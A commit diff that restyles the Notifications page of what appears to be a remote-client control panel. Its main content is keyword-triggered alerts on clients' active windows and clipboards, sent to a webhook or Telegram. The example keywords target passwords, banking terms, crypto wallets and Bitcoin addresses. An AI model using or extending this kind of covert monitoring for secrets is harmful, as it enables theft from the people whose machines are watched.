big UI changes
This commit is contained in:
@@ -15,23 +15,22 @@
|
||||
<script defer src="/vendor/msgpackr/msgpackr.js"></script>
|
||||
<link rel="stylesheet" href="/vendor/tabulator/tabulator_midnight.min.css" />
|
||||
<link rel="stylesheet" href="/assets/main.css" />
|
||||
<link rel="stylesheet" href="/assets/ui.css" />
|
||||
<link rel="stylesheet" href="/assets/custom.css" />
|
||||
<script defer src="/assets/toast.js"></script>
|
||||
<script defer src="/assets/ripple.js"></script>
|
||||
</head>
|
||||
<body class="min-h-screen bg-slate-950 text-slate-100">
|
||||
<body class="app-notifications min-h-screen bg-slate-950 text-slate-100">
|
||||
<header id="top-nav"></header>
|
||||
|
||||
<main class="px-5 py-6">
|
||||
<div class="max-w-7xl mx-auto flex flex-col gap-6">
|
||||
<div class="notifications-shell max-w-7xl mx-auto flex flex-col gap-6">
|
||||
|
||||
<!-- Page header -->
|
||||
<div class="flex flex-wrap items-start justify-between gap-4">
|
||||
<div>
|
||||
<h1 class="text-2xl font-semibold">Notifications</h1>
|
||||
<p class="text-slate-400">
|
||||
Active window & clipboard alerts based on configured keyword patterns
|
||||
</p>
|
||||
<p class="text-sm text-slate-400">Rules, delivery, and history.</p>
|
||||
</div>
|
||||
<div class="flex flex-wrap items-center gap-3">
|
||||
<span
|
||||
@@ -45,43 +44,46 @@
|
||||
</div>
|
||||
|
||||
<!-- Keyword Configuration (admin / operator only) -->
|
||||
<div id="keyword-section" class="hidden bg-slate-900/60 border border-slate-800 rounded-xl p-4">
|
||||
<div id="keyword-section" class="notification-panel hidden bg-slate-900/60 border border-slate-800 rounded-xl p-4">
|
||||
<div class="flex items-center justify-between flex-wrap gap-3">
|
||||
<div>
|
||||
<h2 class="text-lg font-semibold">Keyword Configuration</h2>
|
||||
<p class="text-sm text-slate-400">
|
||||
One keyword per line — plain substring or <code class="text-slate-300">/regex/i</code> syntax. Changes apply to connected agents immediately. (Shared global setting)
|
||||
</p>
|
||||
<div class="flex items-center gap-2">
|
||||
<h2 class="text-lg font-semibold">Keywords</h2>
|
||||
<span class="ui-help" tabindex="0" role="img" aria-label="About keyword rules" title="One per line. Plain text and /regex/i are supported. Rules are shared and apply to connected agents immediately.">
|
||||
<i class="fa-solid fa-circle-info"></i>
|
||||
</span>
|
||||
</div>
|
||||
<button
|
||||
id="save-keywords"
|
||||
class="inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-emerald-600 hover:bg-emerald-700 text-white"
|
||||
>
|
||||
<i class="fa-solid fa-save"></i>
|
||||
<span>Save Keywords</span>
|
||||
<span>Save</span>
|
||||
</button>
|
||||
</div>
|
||||
<textarea
|
||||
id="keyword-input"
|
||||
rows="5"
|
||||
rows="4"
|
||||
placeholder="bank password admin /crypto|wallet/i /\b(bc1[a-z0-9]{39,59}|[13][a-km-zA-HJ-NP-Z1-9]{24,33})\b/"
|
||||
class="mt-3 w-full rounded-lg bg-slate-950 border border-slate-800 text-slate-100 p-3 focus:outline-none focus:border-blue-500"
|
||||
></textarea>
|
||||
<label class="mt-3 inline-flex items-center gap-2 text-sm text-slate-300 cursor-pointer">
|
||||
<input id="clipboard-enabled" type="checkbox" class="w-4 h-4 accent-emerald-500" />
|
||||
Monitor clipboard content for keyword matches
|
||||
Scan clipboard
|
||||
</label>
|
||||
<div class="mt-2 text-xs text-slate-500" id="keyword-hint"></div>
|
||||
|
||||
<!-- Anti-Spam Settings -->
|
||||
<div class="mt-4 pt-4 border-t border-slate-800">
|
||||
<h3 class="text-sm font-semibold text-slate-300">Anti-Spam Limits</h3>
|
||||
<p class="text-xs text-slate-500 mt-1">
|
||||
Block a keyword for a client when it fires too many times in a short window.
|
||||
</p>
|
||||
<div class="mt-3 grid grid-cols-1 sm:grid-cols-3 gap-3">
|
||||
<details class="notification-advanced mt-4">
|
||||
<summary>
|
||||
<span>Rate limits</span>
|
||||
<span class="ui-help" tabindex="0" role="img" aria-label="About rate limits" title="Temporarily suppress a keyword for a client after too many matches.">
|
||||
<i class="fa-solid fa-circle-info"></i>
|
||||
</span>
|
||||
<i class="notification-chevron fa-solid fa-chevron-down" aria-hidden="true"></i>
|
||||
</summary>
|
||||
<div class="notification-advanced__body grid grid-cols-1 sm:grid-cols-3 gap-3">
|
||||
<div>
|
||||
<label class="block text-xs text-slate-400 mb-1">Max hits before block</label>
|
||||
<label class="block text-xs text-slate-400 mb-1" title="Matches allowed before suppression">Hits</label>
|
||||
<input
|
||||
id="antispam-max-hits"
|
||||
type="number"
|
||||
@@ -91,7 +93,7 @@
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label class="block text-xs text-slate-400 mb-1">Detection window (minutes)</label>
|
||||
<label class="block text-xs text-slate-400 mb-1" title="Detection window in minutes">Window</label>
|
||||
<input
|
||||
id="antispam-window"
|
||||
type="number"
|
||||
@@ -101,7 +103,7 @@
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label class="block text-xs text-slate-400 mb-1">Cooldown (minutes)</label>
|
||||
<label class="block text-xs text-slate-400 mb-1" title="Suppression duration in minutes">Cooldown</label>
|
||||
<input
|
||||
id="antispam-cooldown"
|
||||
type="number"
|
||||
@@ -111,31 +113,35 @@
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</details>
|
||||
</div>
|
||||
|
||||
<!-- Per-user Webhook Delivery -->
|
||||
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4">
|
||||
<div class="flex items-center justify-between flex-wrap gap-3">
|
||||
<div>
|
||||
<h2 class="text-lg font-semibold">My Webhook</h2>
|
||||
<p class="text-sm text-slate-400">
|
||||
Your personal webhook — receives notifications only for clients you can access.
|
||||
</p>
|
||||
<details class="notification-section bg-slate-900/60 border border-slate-800 rounded-xl">
|
||||
<summary class="notification-section__summary">
|
||||
<span class="notification-section__title">
|
||||
<i class="fa-solid fa-link text-indigo-400"></i>
|
||||
<span>Webhook</span>
|
||||
<span class="ui-help" tabindex="0" role="img" aria-label="About webhook delivery" title="Personal delivery for notifications from clients you can access.">
|
||||
<i class="fa-solid fa-circle-info"></i>
|
||||
</span>
|
||||
</span>
|
||||
<i class="notification-chevron fa-solid fa-chevron-down" aria-hidden="true"></i>
|
||||
</summary>
|
||||
<div class="notification-section__body">
|
||||
<div class="flex items-center justify-between flex-wrap gap-3">
|
||||
<label class="inline-flex items-center gap-2 text-sm text-slate-300 cursor-pointer">
|
||||
<input id="webhook-enabled" type="checkbox" class="w-4 h-4 accent-emerald-500" />
|
||||
Enabled
|
||||
</label>
|
||||
<button
|
||||
id="save-webhook"
|
||||
class="inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-emerald-600 hover:bg-emerald-700 text-white"
|
||||
>
|
||||
<i class="fa-solid fa-save"></i>
|
||||
<span>Save</span>
|
||||
</button>
|
||||
</div>
|
||||
<button
|
||||
id="save-webhook"
|
||||
class="inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-emerald-600 hover:bg-emerald-700 text-white"
|
||||
>
|
||||
<i class="fa-solid fa-save"></i>
|
||||
<span>Save</span>
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<label class="mt-4 inline-flex items-center gap-2 text-sm text-slate-300 cursor-pointer">
|
||||
<input id="webhook-enabled" type="checkbox" class="w-4 h-4 accent-emerald-500" />
|
||||
Enable webhook delivery
|
||||
</label>
|
||||
|
||||
<div class="mt-3 relative">
|
||||
<input
|
||||
@@ -153,13 +159,20 @@
|
||||
</div>
|
||||
|
||||
<!-- Webhook template editor -->
|
||||
<div class="mt-4">
|
||||
<div class="flex items-center justify-between flex-wrap gap-2 mb-1">
|
||||
<span class="text-sm font-medium text-slate-300">Request Body Template</span>
|
||||
<details class="notification-advanced mt-4">
|
||||
<summary>
|
||||
<span>Payload template</span>
|
||||
<span class="ui-help" tabindex="0" role="img" aria-label="About webhook templates" title="Customize the JSON request body. Discord webhook URLs are formatted as embeds automatically.">
|
||||
<i class="fa-solid fa-circle-info"></i>
|
||||
</span>
|
||||
<i class="notification-chevron fa-solid fa-chevron-down" aria-hidden="true"></i>
|
||||
</summary>
|
||||
<div class="notification-advanced__body">
|
||||
<div class="flex items-center justify-end flex-wrap gap-2 mb-2">
|
||||
<div class="flex gap-2">
|
||||
<button id="reset-webhook-template" type="button"
|
||||
class="text-xs px-2 py-1 rounded bg-slate-800 hover:bg-slate-700 text-slate-300">
|
||||
Use Premade Template
|
||||
Reset
|
||||
</button>
|
||||
<button id="format-webhook-template" type="button"
|
||||
class="text-xs px-2 py-1 rounded bg-slate-800 hover:bg-slate-700 text-slate-300">
|
||||
@@ -176,8 +189,8 @@
|
||||
class="w-full rounded-lg bg-slate-950 border border-slate-800 text-slate-100 focus-within:border-blue-500"
|
||||
style="height: 180px;"
|
||||
></textarea>
|
||||
<p class="mt-1 text-xs text-slate-500">
|
||||
Variables: <code class="text-slate-400">{title}</code>
|
||||
<div class="template-variables" aria-label="Available template variables">
|
||||
<code class="text-slate-400">{title}</code>
|
||||
<code class="text-slate-400">{keyword}</code>
|
||||
<code class="text-slate-400">{clientId}</code>
|
||||
<code class="text-slate-400">{user}</code>
|
||||
@@ -186,36 +199,41 @@
|
||||
<code class="text-slate-400">{os}</code>
|
||||
<code class="text-slate-400">{pid}</code>
|
||||
<code class="text-slate-400">{ts}</code>
|
||||
— Discord webhook URLs auto-format as embeds.
|
||||
</p>
|
||||
</div>
|
||||
<div id="webhook-template-preview"
|
||||
class="hidden mt-3 bg-slate-950 border border-slate-700 rounded-lg p-3 text-xs font-mono text-slate-300 whitespace-pre-wrap max-h-48 overflow-y-auto">
|
||||
</div>
|
||||
</div>
|
||||
</details>
|
||||
</div>
|
||||
</div>
|
||||
</details>
|
||||
|
||||
<!-- Per-user Telegram Bot Delivery -->
|
||||
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4">
|
||||
<div class="flex items-center justify-between flex-wrap gap-3">
|
||||
<div>
|
||||
<h2 class="text-lg font-semibold">My Telegram Bot</h2>
|
||||
<p class="text-sm text-slate-400">
|
||||
Your personal Telegram bot — receives notifications only for clients you can access.
|
||||
</p>
|
||||
<details class="notification-section bg-slate-900/60 border border-slate-800 rounded-xl">
|
||||
<summary class="notification-section__summary">
|
||||
<span class="notification-section__title">
|
||||
<i class="fa-brands fa-telegram text-sky-400"></i>
|
||||
<span>Telegram</span>
|
||||
<span class="ui-help" tabindex="0" role="img" aria-label="About Telegram delivery" title="Personal delivery for notifications from clients you can access.">
|
||||
<i class="fa-solid fa-circle-info"></i>
|
||||
</span>
|
||||
</span>
|
||||
<i class="notification-chevron fa-solid fa-chevron-down" aria-hidden="true"></i>
|
||||
</summary>
|
||||
<div class="notification-section__body">
|
||||
<div class="flex items-center justify-between flex-wrap gap-3">
|
||||
<label class="inline-flex items-center gap-2 text-sm text-slate-300 cursor-pointer">
|
||||
<input id="telegram-enabled" type="checkbox" class="w-4 h-4 accent-emerald-500" />
|
||||
Enabled
|
||||
</label>
|
||||
<button
|
||||
id="save-telegram"
|
||||
class="inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-emerald-600 hover:bg-emerald-700 text-white"
|
||||
>
|
||||
<i class="fa-solid fa-save"></i>
|
||||
<span>Save</span>
|
||||
</button>
|
||||
</div>
|
||||
<button
|
||||
id="save-telegram"
|
||||
class="inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-emerald-600 hover:bg-emerald-700 text-white"
|
||||
>
|
||||
<i class="fa-solid fa-save"></i>
|
||||
<span>Save</span>
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<label class="mt-4 inline-flex items-center gap-2 text-sm text-slate-300 cursor-pointer">
|
||||
<input id="telegram-enabled" type="checkbox" class="w-4 h-4 accent-emerald-500" />
|
||||
Enable Telegram delivery
|
||||
</label>
|
||||
|
||||
<div class="mt-3 grid grid-cols-1 gap-3 sm:grid-cols-2">
|
||||
<div class="relative">
|
||||
@@ -249,13 +267,20 @@
|
||||
</div>
|
||||
|
||||
<!-- Telegram template editor -->
|
||||
<div class="mt-4">
|
||||
<div class="flex items-center justify-between flex-wrap gap-2 mb-1">
|
||||
<span class="text-sm font-medium text-slate-300">Message Template</span>
|
||||
<details class="notification-advanced mt-4">
|
||||
<summary>
|
||||
<span>Message template</span>
|
||||
<span class="ui-help" tabindex="0" role="img" aria-label="About Telegram templates" title="Customize the Telegram message using notification variables.">
|
||||
<i class="fa-solid fa-circle-info"></i>
|
||||
</span>
|
||||
<i class="notification-chevron fa-solid fa-chevron-down" aria-hidden="true"></i>
|
||||
</summary>
|
||||
<div class="notification-advanced__body">
|
||||
<div class="flex items-center justify-end flex-wrap gap-2 mb-2">
|
||||
<div class="flex gap-2">
|
||||
<button id="reset-telegram-template" type="button"
|
||||
class="text-xs px-2 py-1 rounded bg-slate-800 hover:bg-slate-700 text-slate-300">
|
||||
Use Premade Template
|
||||
Reset
|
||||
</button>
|
||||
<button id="preview-telegram-template" type="button"
|
||||
class="text-xs px-2 py-1 rounded bg-blue-700 hover:bg-blue-600 text-white">
|
||||
@@ -269,8 +294,8 @@
|
||||
placeholder="Premade template will be loaded automatically"
|
||||
class="w-full rounded-lg bg-slate-950 border border-slate-800 text-slate-100 p-3 font-mono text-xs focus:outline-none focus:border-blue-500"
|
||||
></textarea>
|
||||
<p class="mt-1 text-xs text-slate-500">
|
||||
Variables: <code class="text-slate-400">{title}</code>
|
||||
<div class="template-variables" aria-label="Available template variables">
|
||||
<code class="text-slate-400">{title}</code>
|
||||
<code class="text-slate-400">{keyword}</code>
|
||||
<code class="text-slate-400">{clientId}</code>
|
||||
<code class="text-slate-400">{user}</code>
|
||||
@@ -279,21 +304,23 @@
|
||||
<code class="text-slate-400">{os}</code>
|
||||
<code class="text-slate-400">{pid}</code>
|
||||
<code class="text-slate-400">{ts}</code>
|
||||
</p>
|
||||
</div>
|
||||
<div id="telegram-template-preview"
|
||||
class="hidden mt-3 bg-slate-950 border border-slate-700 rounded-lg p-3 text-xs font-mono text-slate-300 whitespace-pre-wrap max-h-48 overflow-y-auto">
|
||||
</div>
|
||||
</div>
|
||||
</details>
|
||||
</div>
|
||||
</div>
|
||||
</details>
|
||||
|
||||
<!-- Desktop Event Notifications -->
|
||||
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4">
|
||||
<div class="notification-panel bg-slate-900/60 border border-slate-800 rounded-xl p-4">
|
||||
<div class="flex items-center justify-between flex-wrap gap-3 mb-4">
|
||||
<div>
|
||||
<h2 class="text-lg font-semibold">Desktop Event Notifications</h2>
|
||||
<p class="text-sm text-slate-400">
|
||||
Choose which client events trigger a desktop (OS) notification.
|
||||
</p>
|
||||
<div class="flex items-center gap-2">
|
||||
<h2 class="text-lg font-semibold">Desktop alerts</h2>
|
||||
<span class="ui-help" tabindex="0" role="img" aria-label="About desktop alerts" title="Choose which client events create an operating-system notification.">
|
||||
<i class="fa-solid fa-circle-info"></i>
|
||||
</span>
|
||||
</div>
|
||||
<button
|
||||
id="save-event-notifs"
|
||||
@@ -323,38 +350,29 @@
|
||||
</div>
|
||||
|
||||
<div class="grid grid-cols-1 sm:grid-cols-3 gap-3 text-sm">
|
||||
<label class="flex items-center gap-3 rounded-lg bg-slate-950 border border-slate-800 px-4 py-3 cursor-pointer hover:border-slate-600 transition-colors">
|
||||
<label title="Notify when a client connects" class="notification-choice flex items-center gap-3 rounded-lg bg-slate-950 border border-slate-800 px-4 py-3 cursor-pointer hover:border-slate-600 transition-colors">
|
||||
<input id="event-notif-online" type="checkbox" class="h-4 w-4 accent-emerald-500 shrink-0" />
|
||||
<span class="flex flex-col gap-0.5">
|
||||
<span class="text-slate-200 font-medium">🟢 Client Online</span>
|
||||
<span class="text-slate-500 text-xs">Fire when a client connects</span>
|
||||
</span>
|
||||
<span class="text-slate-200 font-medium"><i class="fa-solid fa-circle text-emerald-400 text-[0.55rem] mr-1.5"></i>Online</span>
|
||||
</label>
|
||||
<label class="flex items-center gap-3 rounded-lg bg-slate-950 border border-slate-800 px-4 py-3 cursor-pointer hover:border-slate-600 transition-colors">
|
||||
<label title="Notify when a client disconnects" class="notification-choice flex items-center gap-3 rounded-lg bg-slate-950 border border-slate-800 px-4 py-3 cursor-pointer hover:border-slate-600 transition-colors">
|
||||
<input id="event-notif-offline" type="checkbox" class="h-4 w-4 accent-red-500 shrink-0" />
|
||||
<span class="flex flex-col gap-0.5">
|
||||
<span class="text-slate-200 font-medium">🔴 Client Offline</span>
|
||||
<span class="text-slate-500 text-xs">Fire when a client disconnects</span>
|
||||
</span>
|
||||
<span class="text-slate-200 font-medium"><i class="fa-solid fa-circle text-red-400 text-[0.55rem] mr-1.5"></i>Offline</span>
|
||||
</label>
|
||||
<label class="flex items-center gap-3 rounded-lg bg-slate-950 border border-slate-800 px-4 py-3 cursor-pointer hover:border-slate-600 transition-colors">
|
||||
<label title="Notify when a client awaits approval" class="notification-choice flex items-center gap-3 rounded-lg bg-slate-950 border border-slate-800 px-4 py-3 cursor-pointer hover:border-slate-600 transition-colors">
|
||||
<input id="event-notif-purgatory" type="checkbox" class="h-4 w-4 accent-yellow-500 shrink-0" />
|
||||
<span class="flex flex-col gap-0.5">
|
||||
<span class="text-slate-200 font-medium">🟡 Client in Purgatory</span>
|
||||
<span class="text-slate-500 text-xs">Fire when a client awaits approval</span>
|
||||
</span>
|
||||
<span class="text-slate-200 font-medium"><i class="fa-solid fa-circle text-amber-400 text-[0.55rem] mr-1.5"></i>Purgatory</span>
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Client Event Delivery Channels -->
|
||||
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4">
|
||||
<div class="notification-panel bg-slate-900/60 border border-slate-800 rounded-xl p-4">
|
||||
<div class="flex items-center justify-between flex-wrap gap-3 mb-4">
|
||||
<div>
|
||||
<h2 class="text-lg font-semibold">Client Event Delivery Channels</h2>
|
||||
<p class="text-sm text-slate-400">
|
||||
Choose which channels receive client lifecycle events (online, offline, purgatory).
|
||||
</p>
|
||||
<div class="flex items-center gap-2">
|
||||
<h2 class="text-lg font-semibold">Event delivery</h2>
|
||||
<span class="ui-help" tabindex="0" role="img" aria-label="About event delivery" title="Send online, offline, and purgatory events through these channels.">
|
||||
<i class="fa-solid fa-circle-info"></i>
|
||||
</span>
|
||||
</div>
|
||||
<button
|
||||
id="save-event-channels"
|
||||
@@ -366,26 +384,17 @@
|
||||
</div>
|
||||
|
||||
<div class="grid grid-cols-1 sm:grid-cols-3 gap-3 text-sm">
|
||||
<label class="flex items-center gap-3 rounded-lg bg-slate-950 border border-slate-800 px-4 py-3 cursor-pointer hover:border-slate-600 transition-colors">
|
||||
<label title="Send client events to your webhook" class="notification-choice flex items-center gap-3 rounded-lg bg-slate-950 border border-slate-800 px-4 py-3 cursor-pointer hover:border-slate-600 transition-colors">
|
||||
<input id="client-event-webhook" type="checkbox" class="h-4 w-4 accent-indigo-500 shrink-0" />
|
||||
<span class="flex flex-col gap-0.5">
|
||||
<span class="text-slate-200 font-medium"><i class="fa-brands fa-discord mr-1"></i> Discord Webhook</span>
|
||||
<span class="text-slate-500 text-xs">Send client events to your webhook</span>
|
||||
</span>
|
||||
<span class="text-slate-200 font-medium"><i class="fa-solid fa-link text-indigo-400 mr-1.5"></i>Webhook</span>
|
||||
</label>
|
||||
<label class="flex items-center gap-3 rounded-lg bg-slate-950 border border-slate-800 px-4 py-3 cursor-pointer hover:border-slate-600 transition-colors">
|
||||
<label title="Send client events to Telegram" class="notification-choice flex items-center gap-3 rounded-lg bg-slate-950 border border-slate-800 px-4 py-3 cursor-pointer hover:border-slate-600 transition-colors">
|
||||
<input id="client-event-telegram" type="checkbox" class="h-4 w-4 accent-sky-500 shrink-0" />
|
||||
<span class="flex flex-col gap-0.5">
|
||||
<span class="text-slate-200 font-medium"><i class="fa-brands fa-telegram mr-1"></i> Telegram Bot</span>
|
||||
<span class="text-slate-500 text-xs">Send client events to your Telegram</span>
|
||||
</span>
|
||||
<span class="text-slate-200 font-medium"><i class="fa-brands fa-telegram text-sky-400 mr-1.5"></i>Telegram</span>
|
||||
</label>
|
||||
<label class="flex items-center gap-3 rounded-lg bg-slate-950 border border-slate-800 px-4 py-3 cursor-pointer hover:border-slate-600 transition-colors">
|
||||
<label title="Send client events through browser push" class="notification-choice flex items-center gap-3 rounded-lg bg-slate-950 border border-slate-800 px-4 py-3 cursor-pointer hover:border-slate-600 transition-colors">
|
||||
<input id="client-event-push" type="checkbox" class="h-4 w-4 accent-emerald-500 shrink-0" />
|
||||
<span class="flex flex-col gap-0.5">
|
||||
<span class="text-slate-200 font-medium"><i class="fa-solid fa-bell mr-1"></i> Push Notifications</span>
|
||||
<span class="text-slate-500 text-xs">Send client events via browser push</span>
|
||||
</span>
|
||||
<span class="text-slate-200 font-medium"><i class="fa-solid fa-bell text-emerald-400 mr-1.5"></i>Push</span>
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
@@ -393,12 +402,15 @@
|
||||
<!-- Notification feed -->
|
||||
<div
|
||||
id="notification-panel"
|
||||
class="bg-slate-900/60 border border-slate-800 rounded-xl p-4"
|
||||
class="notification-panel bg-slate-900/60 border border-slate-800 rounded-xl p-4"
|
||||
>
|
||||
<div class="flex items-center justify-between flex-wrap gap-3 mb-3">
|
||||
<div>
|
||||
<h2 class="text-lg font-semibold">Notifications</h2>
|
||||
<p id="notification-scope-hint" class="text-xs text-slate-500 mt-0.5">
|
||||
<div class="flex items-center gap-2">
|
||||
<h2 class="text-lg font-semibold">History</h2>
|
||||
<span class="ui-help" tabindex="0" role="img" aria-label="About notification history" title="Shows notifications for clients you can access.">
|
||||
<i class="fa-solid fa-circle-info"></i>
|
||||
</span>
|
||||
<p id="notification-scope-hint" class="sr-only">
|
||||
Showing notifications for your accessible clients.
|
||||
</p>
|
||||
</div>
|
||||
@@ -408,7 +420,7 @@
|
||||
<input
|
||||
id="notification-search"
|
||||
type="search"
|
||||
placeholder="Search notifications..."
|
||||
placeholder="Search"
|
||||
class="w-64 sm:w-72 rounded-lg bg-slate-950 border border-slate-800 text-slate-100 pl-8 pr-3 py-2 text-sm focus:outline-none focus:border-blue-500"
|
||||
/>
|
||||
</div>
|
||||
@@ -420,7 +432,7 @@
|
||||
id="empty-state"
|
||||
class="py-6 text-center text-slate-400"
|
||||
>
|
||||
No notifications yet.
|
||||
No notifications.
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
Reference in New Issue
Block a user